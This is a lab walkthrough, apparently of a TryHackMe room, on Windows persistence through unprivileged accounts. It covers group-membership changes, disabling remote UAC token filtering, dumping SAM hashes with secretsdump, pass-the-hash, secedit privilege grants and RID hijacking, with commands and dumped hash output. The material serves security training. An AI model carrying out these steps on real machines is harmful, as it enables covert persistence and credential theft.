Tampering with Unprivileged Accounts
Tampering with Unprivileged Accounts
Having an administrator's credential would be the easiest way to achieve persistence in a machine. However, to make it harder for the blue team to detect us, we can manipulate unprivileged users, which usually won't be monitored as much as administrators, and grant them administrative privileges somehow.
Assign Group Memberships
we will assume you have dumped the password hashes of the victim machine and successfully cracked the passwords for the unprivileged accounts in use.
The direct way to make an unprivileged user gain administrative privileges is to make it part of the Administrators group
show all users on the machine
C:\Users\Administrator>net usersC:\Users\Administrator>net localgroup administrators thmuser0 /addThis will allow you to access the server by using RDP, WinRM or any other remote administration service available.
if this looks too suspicious, you can use the Backup Operators group. Users in this group won't have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured DACL. This would allow us to copy the content of the SAM and SYSTEM registry hives, which we can then use to recover the password hashes for all the users, enabling us to escalate to any administrative account trivially.
add unprivileged user to Backup Operators group
C:\Users\Administrator>net localgroup "Backup Operators" thmuser1 /addSince this is an unprivileged account, it cannot RDP or WinRM back to the machine unless we add it to the Remote Desktop Users (RDP) or Remote Management Users (WinRM) groups
C:\Users\Administrator>net localgroup "Remote Desktop Users" thmuser1 /addC:\Users\Administrator>net localgroup "Remote Management Users" thmuser1 /add
now we log in as the user thmuser1 using evil-winrm
evil-winrm -i 10.10.72.160 -u thmuser1 -p Password321even if you are on the Backups Operators group, you wouldn't be able to access all files as expected. A quick check on our assigned groups would indicate that we are a part of Backup Operators, but the group is disabled:
![[Pasted image 20230810212338.png]]
Disabling UAC :
UAC strips any local account of its administrative privileges when logging in remotely
This is due to User Account Control (UAC). One of the features implemented by UAC, LocalAccountTokenFilterPolicy, strips any local account of its administrative privileges when logging in remotely. While you can elevate your privileges through UAC from a graphical user session (Read more on UAC here), if you are using WinRM, you are confined to a limited access token with no administrative privileges.
To be able to regain administration privileges from your user, we'll have to disable LocalAccountTokenFilterPolicy by changing the following registry key to 1 using the administrator account:
C:\Users\Administrator>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1now if we relogin remotely using evil-winrm using the user we have added to "Backup Operators" we will see that now he have the privileges of this group
![[Pasted image 20230810213453.png]]
Download Backup of SAM and SYSTEM registry hives
We then proceed to make a backup of SAM and SYSTEM files and download them from the evil-winrm session to our attacker machine:
*Evil-WinRM* PS C:\> reg save hklm\system system.bak
The operation completed successfully.
*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
The operation completed successfully.
*Evil-WinRM* PS C:\> download system.bak
Info: Download successful!
*Evil-WinRM* PS C:\> download sam.bak
Info: Download successful!Note : If
Evil-WinRMtakes too long to download the files, feel free to use any other transfer method.
With those files, we can dump the password hashes for all users using impacker secretsdump.py or other similar tools:
impacket-secretsdump -sam sam.bak -system system.bak LOCAL┌──(root㉿kali)-[/home/kali/tryhackme/adpersistance]
└─# impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
thmuser1:1008:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser2:1009:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser3:1010:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser0:1011:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser4:1013:aad3b435b51404eeaad3b435b51404ee:8767940d669d0eb618c15c11952472e5:::
[*] Cleaning up...perform Pass-the-Hash to connect to the victim machine with Administrator privileges:
evil-winrm -i 10.10.72.160 -u Administrator -H f3118544a831e728781d780cfdb9c1faSpecial Privileges and Security Descriptors
A similar result to adding a user to the Backup Operators group can be achieved without modifying any group membership. Special groups are only special because the operating system assigns them specific privileges by default. Privileges are simply the capacity to do a task on the system itself. They include simple things like having the capabilities to shut down the server up to very privileged operations like being able to take ownership of any file on the system. A complete list of available privileges can be found here for reference.
Privilege Name Description
============== ============
SeIncreaseQuotaPrivilege Adjust memory quotas for a process
SeSecurityPrivilege Manage auditing and security log
SeTakeOwnershipPrivilege Take ownership of files or other objects
SeLoadDriverPrivilege Load and unload device drivers
SeSystemProfilePrivilege Profile system performance
SeSystemtimePrivilege Change the system time
SeProfileSingleProcessPrivilege Profile single process
SeIncreaseBasePriorityPrivilege Increase scheduling priority
SeCreatePagefilePrivilege Create a pagefile
SeBackupPrivilege Back up files and directories
SeRestorePrivilege Restore files and directories
SeShutdownPrivilege Shut down the system
SeDebugPrivilege Debug programs
SeSystemEnvironmentPrivilege Modify firmware environment values
SeChangeNotifyPrivilege Bypass traverse checking
SeRemoteShutdownPrivilege Force shutdown from a remote system
SeUndockPrivilege Remove computer from docking station
SeManageVolumePrivilege Perform volume maintenance tasks
SeImpersonatePrivilege Impersonate a client after authentication
SeCreateGlobalPrivilege Create global objects
SeIncreaseWorkingSetPrivilege Increase a process working set
SeTimeZonePrivilege Change the time zone
SeCreateSymbolicLinkPrivilege Create symbolic links
SeDelegateSessionUserImpersonatePrivilege: Obtain an impersonation token for another user in the same session In the case of the Backup Operators group, it has the following two privileges assigned by default:
SeBackupPrivilege: The user can read any file in the system, ignoring any
DACLin place.SeRestorePrivilege: The user can write any file in the system, ignoring any
DACLin place.
We can assign such privileges to any user, independent of their group memberships. To do so, we can use the secedit command. First, we will export the current configuration to a temporary file:
secedit /export /cfg config.infNote that the config.inf file will be saved in the
working directorythat you have executed the command above at
We open the file with notepad and add our user to the lines in the configuration regarding the SeBackupPrivilege and SeRestorePrivilege :
![[Pasted image 20230811124842.png]]
We finally convert the .inf file into a .sdb file which is then used to load the configuration back into the system:
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.infYou should now have a user with equivalent privileges to any Backup Operator. The user still can't log into the system via WinRM, so let's do something about it. Instead of adding the user to the Remote Management Users group, we'll change the security descriptor associated with the WinRM service to allow thmuser2 to connect. Think of a security descriptor as an ACL but applied to other system facilities.
To open the configuration window for WinRM's security descriptor, you can use the following command in Powershell (you'll need to use the GUI session for this):
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUIThis will open a window where you can add thmuser2 and assign it full privileges to connect to WinRM:
![[Pasted image 20230811125601.png]]
Once we have done this, our user can connect via WinRM. Since the user has the SeBackup and SeRestore privileges, we can repeat the steps to recover the password hashes from the SAM and connect back with the Administrator user.
Notice that for this user to work with the given privileges fully, you'd have to change the LocalAccountTokenFilterPolicy registry key and this requires administrator privileges.
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1RID Hijacking
Another method to gain administrative privileges without being an administrator is changing some registry values to make the operating system think you are the Administrator.
When a user is created, an identifier called Relative ID (RID) is assigned to them. The RID is simply a numeric identifier representing the user across the system. When a user logs on, the LSASS process gets its RID from the SAM registry hive and creates an access token associated with that RID. If we can tamper with the registry value, we can make windows assign an Administrator access token to an unprivileged user by associating the same RID to both accounts.
In any Windows system, the default Administrator account is assigned the RID = 500, and regular users usually have RID >= 1000.
To find the assigned RIDs for any user, you can use the following command:
wmic useraccount get name,sid![[Pasted image 20230811133906.png]]
The RID is the last bit of the SID (1010 for thmuser3 and 500 for Administrator). The SID is an identifier that allows the operating system to identify a user across a domain
Assigning administrator RID to normal user
Now we only have to assign the RID=500 to thmuser3. To do so, we need to access the SAM using Regedit. The SAM is restricted to the SYSTEM account only, so even the Administrator won't be able to edit it. To run Regedit as SYSTEM, we will use psexec
PsExec64.exe -i -s regeditFrom Regedit, we will go to HKLM\SAM\SAM\Domains\Account\Users\ where there will be a key for each user in the machine. Since we want to modify thmuser3, we need to search for a key with its RID in hex (1010 = 0x3F2).
Tryhackme Persistance Room Exemple
Under the corresponding key, there will be a value called F, which holds the user's effective RID at position 0x30:
Notice the RID is stored using little-endian notation, so its bytes appear reversed.
We will now replace those two bytes with the RID of Administrator in hex (500 = 0x01F4), switching around the bytes (F401):
The next time thmuser3 logs in, LSASS will associate it with the same RID as Administrator and grant them the same privileges.
Last updated
Was this helpful?